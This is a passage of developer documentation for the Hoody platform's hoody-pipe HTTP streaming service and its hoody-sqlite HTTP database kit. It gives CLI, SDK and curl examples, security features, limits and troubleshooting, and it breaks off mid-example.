- `PUT /api/v1/pipe/{path}` — Send data (alias for POST, natural for `curl -T`)
- `GET /api/v1/pipe/{path}` — Receive data from a pipe path

**Utilities**:
- `GET /api/v1/pipe/health` — Service health check (standardized 9-field response: `status`, `service`, `built`, `started`, `memory`, `fds`, `pid`, `ip`, `userAgent`). Build identity is in `built` (module mtime, ISO 8601); `userAgent` echoes the requesting client's `User-Agent` header.
- `GET /api/v1/pipe/help` — Usage instructions with curl examples
- `GET /api/v1/pipe/noscript` — JavaScript-free HTML upload form (noscript fallback for the index page; CSP-nonce-restricted styles)
- `GET /api/v1/pipe` — Main web UI for browser-based uploads (file or text, with a JS progress bar)

---

## Command-line Interface

The `hoody` CLI ships a `pipe` namespace that wraps every operation above with shell-friendly source/sink flags. Bytes can come from a file, stdin, a literal `--text` value, a TCP/Unix socket, or any spawned command — and likewise on the receiving side.

```bash
# Sources for `send`: file, "-" (stdin), --text, --from-tcp, --from-unix, --from-cmd
hoody pipe send <path> [source] [flags]

# Sinks for `receive`: file via -o, "-" (stdout, default), --to-tcp, --to-unix, --to-cmd
hoody pipe receive <path> [flags]
```

### Commands

| Command | Purpose |
|---------|---------|
| `pipe send <path> [source]` | Send bytes to a pipe path. Source = file / `-` / `--text` / `--from-tcp` / `--from-unix` / `--from-cmd`. Add `--put` for `curl -T` parity. |
| `pipe receive <path>` | Receive bytes. Sink = `-o file` / stdout / `--to-tcp` / `--to-unix` / `--to-cmd`. Honors `--download`, `--inline`, `--filename`. |
| `pipe progress <path>` | Subscribe to live progress via SSE — does **not** consume a receiver slot. `--json` emits raw events; `--until complete,failed` exits on terminal state. |
| `pipe url <path>` | Print the receiver URL for a path (no fetch). Append `--video`, `--progress`, `--download`, `--filename`, `-n N`. `--video` and `--progress` are mutually exclusive. |
| `pipe forward-tcp <send-path> <recv-path>` | Bidirectional TCP forwarder over two pipes. Pick exactly one of `--listen host:port` or `--connect host:port`; the peer must swap the two paths. |
| `pipe health` | Standard 9-field pipe-kit health JSON. |
| `pipe help-cheatsheet` | Server-rendered curl cheatsheet (text/plain). |

### Routing flags (all commands)

| Flag / env | Purpose |
|------------|---------|
| `-c <id>` / `--container <id>` / `HOODY_CONTAINER` | Container to address (resolves the kit URL through the Hoody API). `--container-id` and `--containerId` are accepted aliases. |
| `--pipe-url <url>` / `HOODY_PIPE_URL` | Direct pipe-server URL — bypasses container resolution. Useful for self-hosted pipe servers, tests, or off-network clients. |

### Examples

```bash
# Bridge a TCP port over a pipe (e.g. expose a localhost service to a peer)
# Side A (the side hosting the service)
hoody pipe forward-tcp ab ba --connect 127.0.0.1:5432 --container $CTR
# Side B (the side dialing in)
hoody pipe forward-tcp ba ab --listen 127.0.0.1:15432 --container $CTR
# Now `psql -h 127.0.0.1 -p 15432` on side B reaches the Postgres on side A.

# Stream stdout of a long-running command
hoody pipe send build-logs --from-cmd "make -j" --container $CTR

# Watch a transfer's progress as JSON without consuming a slot
hoody pipe progress big-upload --json --until complete,failed

# Build a shareable URL for an n=10 video stream — no request issued
hoody pipe url my-screen --video -n 10 --container $CTR
```


The CLI is a thin wrapper over the SDK's `PipeStream` helper — `--from-tcp` / `--from-unix` / file / stdin / `--text` all map to `PipeSource` shapes; `--from-cmd` / `--to-cmd` add convenient process spawning on top. See [SDK Streaming Helpers](#sdk-streaming-helpers-nodejs) below.

Both `--from-cmd` and `--to-cmd` spawn the command directly with **no shell**, so `"tail -f /var/log/app.log"` works but `"tail -f a | grep b"` does not — wrap shell features explicitly: `--from-cmd 'sh -c "tail -f a | grep b"'`.


---

## SDK Streaming Helpers (Node.js)

The auto-generated `containerClient.pipe.*` methods cover the basic JSON-shaped endpoints, but pipe is fundamentally a **streaming** primitive — the SDK ships a hand-written Node-side companion at `@hoody-ai/hoody-sdk`'s top level.

```typescript
import {
  PipeStream,                    // class — send / receive / subscribeProgress / forwardTcp
  coerceToReadableStream,        // anything-byte-source → Web ReadableStream
  parseStatusStream,             // [INFO]/[ERROR] line stream parser
  parseSseStream,                // SSE block parser (for /{path}?progress)
  PipeReceiveEmptyBodyError,     // distinguishes intentional empty bodies from network errors
  validatePipePath, encodePipePath,
} from '@hoody-ai/hoody-sdk';
```

### `PipeStream`

```typescript
// Either resolve from the Hoody control plane:
const pipe = PipeStream.fromClient(client, { id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

// Or address a pipe server directly (self-hosted, tests, off-network):
const pipe = new PipeStream({ pipeBaseUrl: 'https://...-pipe.containers.hoody.icu' });

// send — accepts ANY PipeSource:
//   string | Buffer | Uint8Array | ReadableStream | NodeJS.ReadableStream
//   | AsyncIterable | URL (file:) | { tcp: { host, port } } | { unix: '/path' }
const send = await pipe.send('my-path', source, {
  method: 'POST',          // or 'PUT' (curl -T parity)
  n: 1,                    // 1..256 — receivers to wait for
  contentType: 'application/octet-stream',
  contentLength: stat.size, // optional — when known, enables receiver progress
  filename: 'report.pdf',  // forwarded as Content-Disposition
  headers: { 'X-Hoody-Pipe': 'kind=audit' },
  onStatus: (m) => console.log(m.level, m.message),
  signal: AbortSignal.timeout(60_000),
});
await send.done;           // resolves when sender's response body fully drains

// receive — gives you a Web ReadableStream
const recv = await pipe.receive('my-path', { n: 1, download: true });
recv.body.pipeTo(Writable.toWeb(createWriteStream('out.bin')));

// subscribeProgress — async-iterable SSE events (does NOT consume a receiver slot)
for await (const ev of pipe.subscribeProgress('my-path')) {
  if (ev.kind === 'progress') console.log(ev.bytesTransferred, ev.speed);
  if (ev.kind === 'done') break;
}
```

### `PipeStream.forwardTcp`

Bidirectional TCP forwarding over two unidirectional pipes — same primitive the CLI's `forward-tcp` is built from:

```typescript
const fwd = pipe.forwardTcp({
  sendPath: 'ab',                              // local → server
  recvPath: 'ba',                              // server → local
  connect: { host: '127.0.0.1', port: 5432 }, // OR listen: { port: 15432 }
  n: 1,
});
// fwd.address — Promise<{host, port}> when in listen mode
// fwd.done    — Promise<void> when fully drained
// fwd.close() — stop accepting / tear down active bridge
```


On Bun, TCP `allowHalfOpen: true` is not honored — peers that rely on FIN-as-end-of-record will see truncated reads. For protocols like that, frame your messages (length-prefix or fixed-size). This limitation is documented on the helper's JSDoc; the integration tests use a fixed-size echo protocol to demonstrate the workaround.


---

## Sender Status Messages

When you POST or PUT, the response body streams real-time status messages:

```
[INFO] Waiting for 1 receiver(s) to connect...
[INFO] A receiver connected.
[INFO] Streaming to 1 receiver(s)...
[INFO] Upload complete.
[INFO] Transfer complete.
```

If receivers were already waiting when the sender connects, the first line is replaced by `[INFO] N receiver(s) already connected.` and streaming begins immediately.

If a receiver disconnects mid-transfer:
```
[INFO] A receiver disconnected.
[INFO] All receivers disconnected before transfer completed.
```

`[ERROR] …` lines are emitted on failure modes — capacity exceeded, idle timeout, sender error, or wait timeout. The full authoritative vocabulary lives in `hoody-pipe`'s OpenAPI under `StatusMessage`.

---

## Receiver Options

Receivers can control download behavior with query parameters:

| Parameter | Effect |
|-----------|--------|
| `?download` | Force browser download (Content-Disposition: attachment) |
| `?download=false` | Suppress Content-Disposition entirely (always display inline) |
| `?filename=report.pdf` | Set a custom download filename (implies `?download`) |
| `?video` | Show an HTML video player for WebM/MP4/MPEG-TS streams (browsers only) |
| `?progress` | Watch transfer progress as SSE events or an HTML dashboard |

### Video Player

Append `?video` to the receiver URL and open it in a browser — hoody-pipe serves an embedded MSE video player that auto-detects the container/codec from the stream:

```bash
# Sender: Stream your screen as WebM
ffmpeg -f x11grab -i :0 -c:v libvpx -f webm - | \
  curl -T - https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/screen

# Receiver: Open in browser with video player
# https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/screen?video
```

Non-browser clients (VLC, mpv, ffplay) with `?video` get the raw stream automatically.

### Progress Spectating

Watch transfer progress without consuming a receiver slot:

```bash
# SSE stream (curl, EventSource)
curl -H "Accept: text/event-stream" \
  "https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/my-transfer?progress"

# HTML dashboard (open in browser)
# https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/my-transfer?progress
```

SSE events include `state` transitions (`idle` / `waiting` / `streaming` / `complete` / `failed`), `progress` updates (bytes, speed, ETA, active receivers), and a final `done` event with totals (bytes transferred, duration, average speed).

---

## Real-World Use Cases

### Share Your Screen Over HTTP

Stream your real device screen to anyone with a URL — no WebRTC, no signaling server, no app install:

```bash
# On your machine: Capture screen and pipe it
ffmpeg -f x11grab -i :0 -c:v libvpx-vp9 -f webm - | \
  curl -T - "https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/my-screen?n=10"

# Share this URL with up to 10 viewers:
# https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/my-screen?n=10&video
```

### File Transfer with Progress

Send a large file and let others watch the progress:

```bash
# Sender
curl -T ./dataset-50gb.tar.gz \
  https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/dataset

# Receiver
curl https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/dataset \
  -o dataset-50gb.tar.gz

# Spectator (doesn't consume a receiver slot)
# Open in browser: .../api/v1/pipe/dataset?progress
```

### Live Event Forwarding

Stream events from one container to another in real-time:

```bash
# Container A: Forward nginx access logs
tail -f /var/log/nginx/access.log | curl -T - \
  https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/nginx-logs

# Container B: Process the log stream
curl https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/nginx-logs | \
  grep "500" | tee errors.log
```

### Send a Directory

```bash
# Sender: Tar and stream a directory
tar czf - ./my-project | curl -T - \
  https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/project.tar.gz

# Receiver: Download and extract
curl https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/project.tar.gz | \
  tar xzf -
```

### End-to-End Encryption

Don't trust the server? Encrypt before piping:

```bash
# Sender: Encrypt and send
openssl enc -aes-256-cbc -pbkdf2 -pass pass:SECRET < secret.doc | \
  curl -T - https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/encrypted

# Receiver: Download and decrypt
curl https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/encrypted | \
  openssl enc -d -aes-256-cbc -pbkdf2 -pass pass:SECRET > secret.doc
```

---

## Security

hoody-pipe takes security seriously:

- **Dangerous MIME types rewritten** — 21 script-executable types (HTML/XML/SVG plus the WHATWG-canonical JavaScript MIME family — `text/javascript`, `application/javascript`, `application/ecmascript`, `text/javascript1.0`–`1.5`, `text/jscript`, `text/livescript`, etc.) are rewritten to `text/plain` so a browser receiver can't execute them. Inline `Content-Disposition` is also force-coerced to `attachment` for any MIME outside an explicit safelist (`image/*`, `audio/*`, `video/*`, `text/plain`, …) — defense-in-depth if the dangerous-MIME table misses a niche format.
- **CRLF injection protection** — Forwarded headers (Content-Disposition, X-Piping, X-Hoody-Pipe) are sanitized against header injection.
- **CSP nonces** — All HTML pages (video player, progress dashboard, noscript upload) use Content-Security-Policy with nonces.
- **Path length limit** — Max 1024 characters to prevent memory inflation.
- **X-Content-Type-Options: nosniff** — On every response.
- **X-Robots-Tag: none** — Prevents indexing of pipe data.

---

## Limits

| Limit | Value |
|-------|-------|
| Max concurrent pending (unestablished) pipes | 1000 |
| Max concurrent active (streaming) transfers | 1000 |
| Max receivers per pipe | 256 |
| Max spectators per path | 50 |
| Max spectator groups | 500 |
| Unestablished pipe TTL | 5 minutes (sender or receiver waiting for counterpart; the lonely side is evicted) |
| Active-transfer idle timeout | 5 minutes (no bytes flowing → `[ERROR] Transfer aborted — idle timeout exceeded.`) |
| Spectator idle TTL | 30 minutes (progress-watcher auto-close on inactivity) |
| Max path length | 1024 characters |
| Max URL length | 4096 characters |

Exceeding limits returns HTTP 429 (Too Many Transfers) or 414 (Path Too Long).

---

## Custom Metadata

Forward arbitrary metadata from sender to receiver using custom headers:

```bash
# Sender: Include metadata
curl -T ./image.png \
  -H "X-Hoody-Pipe: source=camera-1;timestamp=2026-03-04T12:00:00Z" \
  -H "Content-Disposition: attachment; filename=\"snapshot.png\"" \
  https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/snapshot

# Receiver: Gets the metadata headers forwarded
curl -v https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/snapshot \
  -o snapshot.png
# < X-Hoody-Pipe: source=camera-1;timestamp=2026-03-04T12:00:00Z
# < Content-Disposition: attachment; filename="snapshot.png"
```

Both `X-Hoody-Pipe` and `X-Piping` headers are forwarded to receivers and exposed via CORS.

---

## Health & Monitoring


  
    ```bash
    # Standard 9-field health JSON
    hoody pipe health --container $CONTAINER
    ```
  
  
    ```bash
    # Check service health
    curl https://{projectId}-{containerId}-pipe-1.{server}.containers.hoody.icu/api/v1/pipe/health
    ```

    ```json
    {
      "status": "ok",
      "service": "hoody-pipe",
      "built": "2026-04-14T22:17:54Z",
      "started": "2026-04-22T09:12:03Z",
      "memory": { "rss": 44145050, "heap": 29884416 },
      "fds": 17,
      "pid": 1234,
      "ip": "172.17.0.2",
      "userAgent": "curl/8.4.0"
    }
    ```

    `userAgent` is the requesting client's `User-Agent` header, echoed back (useful for debugging client identity through the proxy). Server build identity lives in `built` (the module's mtime as an ISO 8601 string).
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    // Health check — build identity is in `built` (module mtime, ISO 8601);
    // `userAgent` echoes whatever User-Agent the SDK's HTTP client sent.
    const health = await containerClient.pipe.health.check();
    console.log(health.data.status);  // "ok"
    console.log(health.data.built);   // "2026-04-14T22:17:54Z"
    ```
  


---

## Troubleshooting

### Transfer Never Starts

**Cause:** Sender and receiver have mismatched `n` values, or one party hasn't connected yet.

**Solution:** Ensure both sender and receiver use the same `?n=` value (or omit it for the default of 1). The connection blocks until the counterpart arrives — check that both parties are running.

### HTTP 429 — Too Many Transfers

**Cause:** Server has 1000 pending or 1000 active transfers.

**Solution:** Wait for existing transfers to complete or expire (5-minute TTL for unestablished pipes), then retry. Reduce the number of concurrent transfers.

### Receiver Gets `text/plain` Instead of Expected Content-Type

**Cause:** The sender's Content-Type is a dangerous MIME type (text/html, application/javascript, etc.) that was rewritten for security.

**Solution:** This is intentional XSS protection. If you need the original type, the receiver can re-set it based on the filename or use the data as-is.

### Path Already Has a Sender

**Cause:** Another sender is already connected to the same path.

**Solution:** Use a different path, or wait for the existing transfer to complete.

---

## What's Next


  
  
  
  


---

> **Data transfer is just a URL now.**
> **Send to a path. Receive from the same path. Data flows through.**
> **No servers to configure. No clients to install. No files to upload.**
> **Just HTTP.**

---

# SQLite

**Page:** kit/sqlite

[Download Raw Markdown](./kit/sqlite.md)

---

# SQLite

**Your database is a URL.** Execute SQL via HTTP, store key-value data, travel through time, perform atomic operations—all serverless, all through HTTP endpoints.

Every Hoody container includes **hoody-sqlite**, providing serverless database access with both traditional SQL and a powerful Key-Value store interface.

### Absolute-path DB files

`hoody-sqlite` has two modes for the `?db=` parameter:

- **Bare name mode** (default on the standalone binary): `?db=notes` resolves to `./notes.db` relative to the server's working directory. Absolute paths like `?db=/data/app.db` are **rejected** with `INVALID_DB_PATH`.
- **Any-path mode**: pass `--allow-any-absolute-db-path` when starting the binary. Absolute paths (`/data/app.db`) are then accepted and used verbatim.

**In Hoody containers this flag is ON by default**, which is why examples throughout this page use `?db=/data/*.db`. If you're running the binary yourself, either drop the absolute path or add the flag.

**Stacks perfectly with [SQLite Drive →](/foundation/storage/sqlite-drive/):** Store databases in `/hoody/databases/` for multi-container access (concurrent write-safe). Query via HTTP through hoody-sqlite OR directly with traditional SQLite libraries (Python sqlite3, Node better-sqlite3, etc.)—mix both approaches freely.

---

## What You Can Do

**hoody-sqlite** provides dual database interfaces through HTTP:

- **🌐 Web Database UI** - Visual SQL query interface in your browser—main entry point for exploration
- **📊 SQL Operations** - Execute queries and transactions via HTTP POST
- **🗂️ Key-Value Store** - NoSQL-style GET/SET operations
- **⚛️ Atomic Operations** - Thread-safe increment, decrement, push, pop
- **📦 Batch Operations** - 100 keys in one atomic request
- **⏱️ Time-Travel** - Query historical data, view snapshots at any point in time
- **🔄 Rollback** - Undo changes instantly, restore to previous state
- **🔗 Shareable Queries** - Create read-only query URLs (Base64-encoded SQL)
- **🎯 Zero Configuration** - No database server, no connection pooling, just HTTP
- **📝 Audit Trail** - Complete change history for compliance


**Shared Databases & Access Control**:
- **[SQLite Drive →](/foundation/storage/sqlite-drive/)** - Store databases in `/hoody/databases/` for multi-container access with no locking issues
- **[Proxy Permissions →](/foundation/proxy/permissions/)** - Control who can query databases (IP whitelist, passwords, JWT)


---

## API Endpoints Summary

**Official Technical Reference:**

For complete endpoint documentation with all parameters, responses, and examples:

**SQL Operations:**
- **[POST /api/v1/sqlite/db](/api/sqlite/sql-operations/#post-apiv1sqlitedb)** - Execute atomic SQL transactions
  - Supports: Multiple statements, parameterized queries, bulk inserts
- **[GET /api/v1/sqlite/query](/api/sqlite/sql-operations/#get-apiv1sqlitequery)** - Read-only query via GET
  - Query param: `sql` (Base64-encoded SELECT statement)
- **[POST /api/v1/sqlite/db/create](/api/sqlite/sql-operations/#post-apiv1sqlitedbcreate)** - Create database
  - Query param: `path`, `init_kv` (auto-create KV table)

**Key-Value Store - Basic:**
- **[GET /api/v1/sqlite/kv/\{key\}](/api/sqlite/kv-basic/#get-apiv1sqlitekvkey)** - Get value by key
  - Query params: `db`, `table`, `path` (JSON path), `at_timestamp` (time-travel, Unix timestamp integer)
- **[PUT /api/v1/sqlite/kv/\{key\}](/api/sqlite/kv-basic/#put-apiv1sqlitekvkey)** - Set/update value
  - Query params: `ttl` (auto-expiry), `if_match` (CAS), `path` (partial update), `history`
- **[DELETE /api/v1/sqlite/kv/\{key\}](/api/sqlite/kv-basic/#delete-apiv1sqlitekvkey)** - Delete key
- **[HEAD /api/v1/sqlite/kv/\{key\}](/api/sqlite/kv-basic/#head-apiv1sqlitekvkey)** - Check existence
- **[GET /api/v1/sqlite/kv](/api/sqlite/kv-store/)** - List keys with prefix filtering

**Key-Value Store - Batch:**
- **[POST /api/v1/sqlite/kv/batch/get](/api/sqlite/kv-batch/)** - Get up to 100 keys atomically
- **[POST /api/v1/sqlite/kv/batch/set](/api/sqlite/kv-batch/)** - Set up to 100 keys atomically
- **[POST /api/v1/sqlite/kv/batch/delete](/api/sqlite/kv-batch/)** - Delete up to 100 keys atomically

**Key-Value Store - Atomic:**
- **[POST /api/v1/sqlite/kv/\{key\}/incr](/api/sqlite/kv-atomic/)** - Atomic increment (thread-safe)
  - Query param: `delta` (amount to add, default: 1)
- **[POST /api/v1/sqlite/kv/\{key\}/decr](/api/sqlite/kv-atomic/)** - Atomic decrement
  - Query param: `delta` (amount to subtract, default: 1)
- **[POST /api/v1/sqlite/kv/\{key\}/push](/api/sqlite/kv-atomic/)** - Atomic array push
  - Body: `{"value": item}` (add to end of array)
- **[POST /api/v1/sqlite/kv/\{key\}/pop](/api/sqlite/kv-atomic/)** - Atomic array pop (LIFO)
  - Returns and removes last element
- **[POST /api/v1/sqlite/kv/\{key\}/remove](/api/sqlite/kv-atomic/)** - Remove array element
  - Body: `{"value": item}` or query param `index` (position)

**Key-Value Store - Time-Travel:**
- **[GET /api/v1/sqlite/kv/\{key\}/history](/api/sqlite/kv-time-travel/)** - Complete change history
  - Query params: `limit` (pagination)
- **[GET /api/v1/sqlite/kv/\{key\}/snapshot](/api/sqlite/kv-time-travel/)** - Value at operation number
  - Query param: `op_number` (integer, required — get from `/history` response)
- **[GET /api/v1/sqlite/kv/diff](/api/sqlite/kv-time-travel/)** - Compare time periods
  - Query params: `from`, `to` (Unix timestamps)
- **[POST /api/v1/sqlite/kv/\{key\}/rollback](/api/sqlite/kv-time-travel/)** - Undo changes
  - Query param: `steps` (number of changes to undo, default: 1)
- **[GET /api/v1/sqlite/kv/snapshot](/api/sqlite/kv-time-travel/)** - Snapshot entire KV table at timestamp
  - Query param: `timestamp` (Unix timestamp integer)
- **[POST /api/v1/sqlite/kv/rollback](/api/sqlite/kv-time-travel/)** - Rollback entire table
  - Query params: `to_timestamp` (Unix timestamp integer, required), `confirm=yes` (required to apply — omit for dry-run preview)

**Query History:**
- **[GET /api/v1/sqlite/history](/api/sqlite/kv-time-travel/)** - Get query history
- **[DELETE /api/v1/sqlite/history](/api/sqlite/kv-time-travel/)** - Clear query history
- **[DELETE /api/v1/sqlite/history/\{index\}](/api/sqlite/kv-time-travel/)** - Delete specific history entry
- **[GET /api/v1/sqlite/history/stats](/api/sqlite/kv-time-travel/)** - Get history statistics

**Web Interface:**
- **[GET /](/api/sqlite/sql-operations/)** - Web-based SQL query interface
  - Visual database browser in your browser
  - Execute queries interactively
  - View results in tabular format
  - Browse database schema

**System Monitoring:**
- **[GET /api/v1/sqlite/health](/api/sqlite/sql-operations/)** - Service health check
- **[GET /api/v1/sqlite/health/cache](/api/sqlite/sql-operations/)** - Cache health snapshot

---

## Core Capabilities

### 1. Web Database Interface (Main Entry Point)

**Open the container SQLite URL in your browser for visual database management:**

```
https://{project}-{container}-sqlite-1.{server}.containers.hoody.icu
```

**Interactive web interface with:**
- 📊 **SQL query editor** - Write and execute queries visually
- 📋 **Schema browser** - View tables, indexes, structure
- 📈 **Result viewer** - See query results in table format
- 💾 **Database selector** - Switch between different .db files
- 🔍 **Query history** - Review past queries

**Perfect for:** Exploring databases, testing queries, viewing table contents, debugging data issues—all without leaving the browser.

**Works on any device:** Phone, tablet, laptop—same interface everywhere.

### 2. Serverless SQL via HTTP (For Automation)

**No database server needed. Just HTTP requests:**


  
    ```bash
    # Execute a SQL transaction
    hoody db exec-transaction --transaction '{
      "transaction": [
        {
          "statement": "INSERT INTO users (name, email) VALUES (?, ?)",
          "values": ["Alice", "alice@example.com"]
        },
        {
          "query": "SELECT * FROM users WHERE email = ?",
          "values": ["alice@example.com"]
        }
      ]
    }'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });
    const containerClient = await client.withContainer({ id: CONTAINER_ID, project_id: PROJECT_ID, server: SERVER });

    const result = await containerClient.sqlite.database.executeTransaction({
      transaction: [
        { statement: 'INSERT INTO users (name, email) VALUES (?, ?)', values: ['Alice', 'alice@example.com'] },
        { query: 'SELECT * FROM users WHERE email = ?', values: ['alice@example.com'] },
      ],
    });
    console.log(result.data); // { results: [{ rowsUpdated: 1 }, { resultSet: [{ id: 1, name: "Alice", ... }] }] }
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT-$CONTAINER-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/db?db=/data/app.db" \
      -H "Content-Type: application/json" \
      -d '{
        "transaction": [
          {
            "statement": "INSERT INTO users (name, email) VALUES (?, ?)",
            "values": ["Alice", "alice@example.com"]
          },
          {
            "query": "SELECT * FROM users WHERE email = ?",
            "values": ["alice@example.com"]
          }
        ]
      }'
    ```
  




**Response includes query results:**
```json
{
  "results": [
    {"rowsUpdated": 1},
    {"resultSet": [{"id": 1, "name": "Alice", "email": "alice@example.com"}]}
  ]
}
```

**The breakthrough:** Your database is accessible via HTTP from:
- AI agents (standard HTTP calls)
- Mobile devices (fetch from phone)
- Other containers (cross-container data access)
- Embedded iframes (live data in dashboards)
- Any HTTP client (no database driver needed)

### 3. Key-Value Store Interface

**NoSQL-style operations on SQLite:**


  
    ```bash
    # Set a key-value pair
    hoody kv set "user:1" --body '{"name": "Alice", "role": "editor"}'

    # Get value by key
    hoody kv get "user:1"

    # Delete a key
    hoody kv delete "user:1"

    # Atomic increment
    hoody kv incr "views:homepage"
    ```
  
  
    ```typescript
    // Set a key-value pair
    await containerClient.sqlite.kvStore.set('user:1', JSON.stringify({ name: 'Alice', role: 'editor' }));

    // Get value by key
    const user = await containerClient.sqlite.kvStore.get('user:1');
    console.log(user); // { name: "Alice", role: "editor" }

    // Delete a key
    await containerClient.sqlite.kvStore.delete('user:1');

    // Atomic increment (thread-safe)
    await containerClient.sqlite.kvStore.incr('views:homepage');
    ```
  
  
    ```bash
    # Set a key-value pair
    curl -X PUT "https://$PROJECT-$CONTAINER-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/kv/user:1?db=/data/app.db" \
      -H "Content-Type: application/json" \
      -d '{"name": "Alice", "role": "editor"}'

    # Get value by key
    curl "https://$PROJECT-$CONTAINER-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/kv/user:1?db=/data/app.db"

    # Delete a key
    curl -X DELETE "https://$PROJECT-$CONTAINER-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/kv/user:1?db=/data/app.db"

    # Atomic increment
    curl -X POST "https://$PROJECT-$CONTAINER-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/kv/views:homepage/incr?db=/data/stats.db"
    ```
  




Get the value back:



**Perfect for:**
- Configuration storage
- Session management
- Caching API responses
- Feature flags
- User preferences

### 4. Atomic Operations (No Race Conditions)

**Thread-safe operations for shared state:**



Multiple clients calling simultaneously? No problem - each increment is atomic. Counter goes: 5 -> 6 -> 7 -> 8 (not 5 -> 6 -> 6 -> 6)

**Atomic operations:**


  
```bash
# Increment counter
POST /api/v1/sqlite/kv/{key}/incr?delta=1

# Decrement inventory
POST /api/v1/sqlite/kv/inventory:item1/decr?delta=1

# Perfect for: views, likes, credits, inventory
```
  
  
  
```bash
# Add item to shopping cart
POST /api/v1/sqlite/kv/cart:user1/push
{"value": "product-123"}

# Remove last item
POST /api/v1/sqlite/kv/cart:user1/pop

# Remove specific item
POST /api/v1/sqlite/kv/cart:user1/remove
{"value": "product-123"}
```
  


**No race conditions. No locks needed. Just atomic HTTP operations.**

### 5. Batch Operations

**Operate on 100 keys in one atomic request:**

```javascript
// Set multiple keys atomically
await fetch('.../kv/batch/set?db=/data/app.db', {
  method: 'POST',
  body: JSON.stringify({
    batch: [
      { key: 'user:1', value: { name: 'Alice' } },
      { key: 'user:2', value: { name: 'Bob' } },
      { key: 'user:3', value: { name: 'Carol' } }
    ]
  })
});

// Get multiple keys in one request
await fetch('.../kv/batch/get?db=/data/app.db', {
  method: 'POST',
  body: JSON.stringify({
    keys: ['user:1', 'user:2', 'user:3']
  })
});
```

**100x faster than individual requests.** All operations succeed or all fail (atomic).

### 6. Time-Travel and Audit

**Every change is recorded:**

```bash
# View complete change history (returns op_number for each entry)
GET /api/v1/sqlite/kv/config:timeout/history?db=/data/app.db

# Get value at a specific operation number (op_number from history)
GET /api/v1/sqlite/kv/config:timeout/snapshot?op_number=42&db=/data/app.db

# Undo last change
POST /api/v1/sqlite/kv/config:timeout/rollback?db=/data/app.db

# Restore entire database to 2 hours ago (dry-run preview — add &confirm=yes to apply)
timestamp=$(date -d '2 hours ago' +%s)
POST /api/v1/sqlite/kv/rollback?to_timestamp=$timestamp&db=/data/app.db
```

**Perfect for:**
- Auditing (compliance requirements)
- Debugging (what changed and when?)
- Recovery (undo bad changes instantly)
- Testing (rollback after experiments)

### 7. Shareable Query URLs

**Create read-only query links:**

```javascript
// 1. Define query
const sql = "SELECT * FROM users WHERE status = 'active' ORDER BY created_at DESC";

// 2. Encode as Base64
const encoded = btoa(sql);

// 3. Create shareable URL
const queryUrl = `/api/v1/sqlite/query?db=/data/app.db&sql=${encoded}`;

// Share this URL - anyone can view live data
// No write access, perfectly safe
```

**Use cases:**
- Embed live data in dashboards
- Share reports with stakeholders
- Public API endpoints from private data
- Documentation with live queries

---

## Why This Changes Everything

### Traditional Databases

```
Database Server (install) → Connection Pool (configure) → Client Library (install) → Query (finally)
```

**Problems:**
- Server installation and management
- Connection string complexity
- Language-specific drivers
- Connection pooling configuration
- Port exposure and firewalls
- AI needs database-specific SDKs

### Hoody SQLite

```
HTTP Request → SQLite File → Response (immediately)
```

**Advantages:**
- ✅ Zero server setup (just files)
- ✅ Zero connection config (HTTP everywhere)
- ✅ Universal access (HTTP is the driver)
- ✅ AI-native (standard HTTP requests)
- ✅ Observable (all queries logged)
- ✅ Embeddable (query results in iframes)
- ✅ Serverless (no daemon processes)
- ✅ Simple backup (copy the .db file)

### HTTP Unlocks Databases

**Because databases are HTTP:**

1. **Your phone can query databases:**
   ```javascript
   // From mobile browser
   const users = await fetch(
     'https://{project}-{container}-sqlite-1.{server}.containers.hoody.icu/api/v1/sqlite/db?db=/data/app.db',
     {
       method: 'POST',
       body: JSON.stringify({
         transaction: [{ query: 'SELECT * FROM users LIMIT 10' }]
       })
     }
   ).then(r => r.json());
   ```

2. **AI agents have native database access:**
   ```javascript
   // AI makes standard HTTP request
   await fetch(sqliteUrl + '/api/v1/sqlite/db?db=/data/app.db', {
     method: 'POST',
     body: JSON.stringify({
       transaction: [{ query: 'SELECT COUNT(*) FROM orders WHERE status = "pending"' }]
     })
   });
   // No database driver. No connection string. Just HTTP.
   ```

3. **Embed live data in pages:**
   ```html
   <iframe src="https://{project}-{container}-sqlite-1.{server}.containers.hoody.icu/api/v1/sqlite/query?db=/data/stats.db&sql=U0VMRUNUIC4uLg==" />
   ```

---

## Common Workflows

### Application Configuration

**Store and retrieve config via KV store:**

```javascript
// Set configuration
await fetch('.../kv/config:api?db=/data/app.db', {
  method: 'PUT',
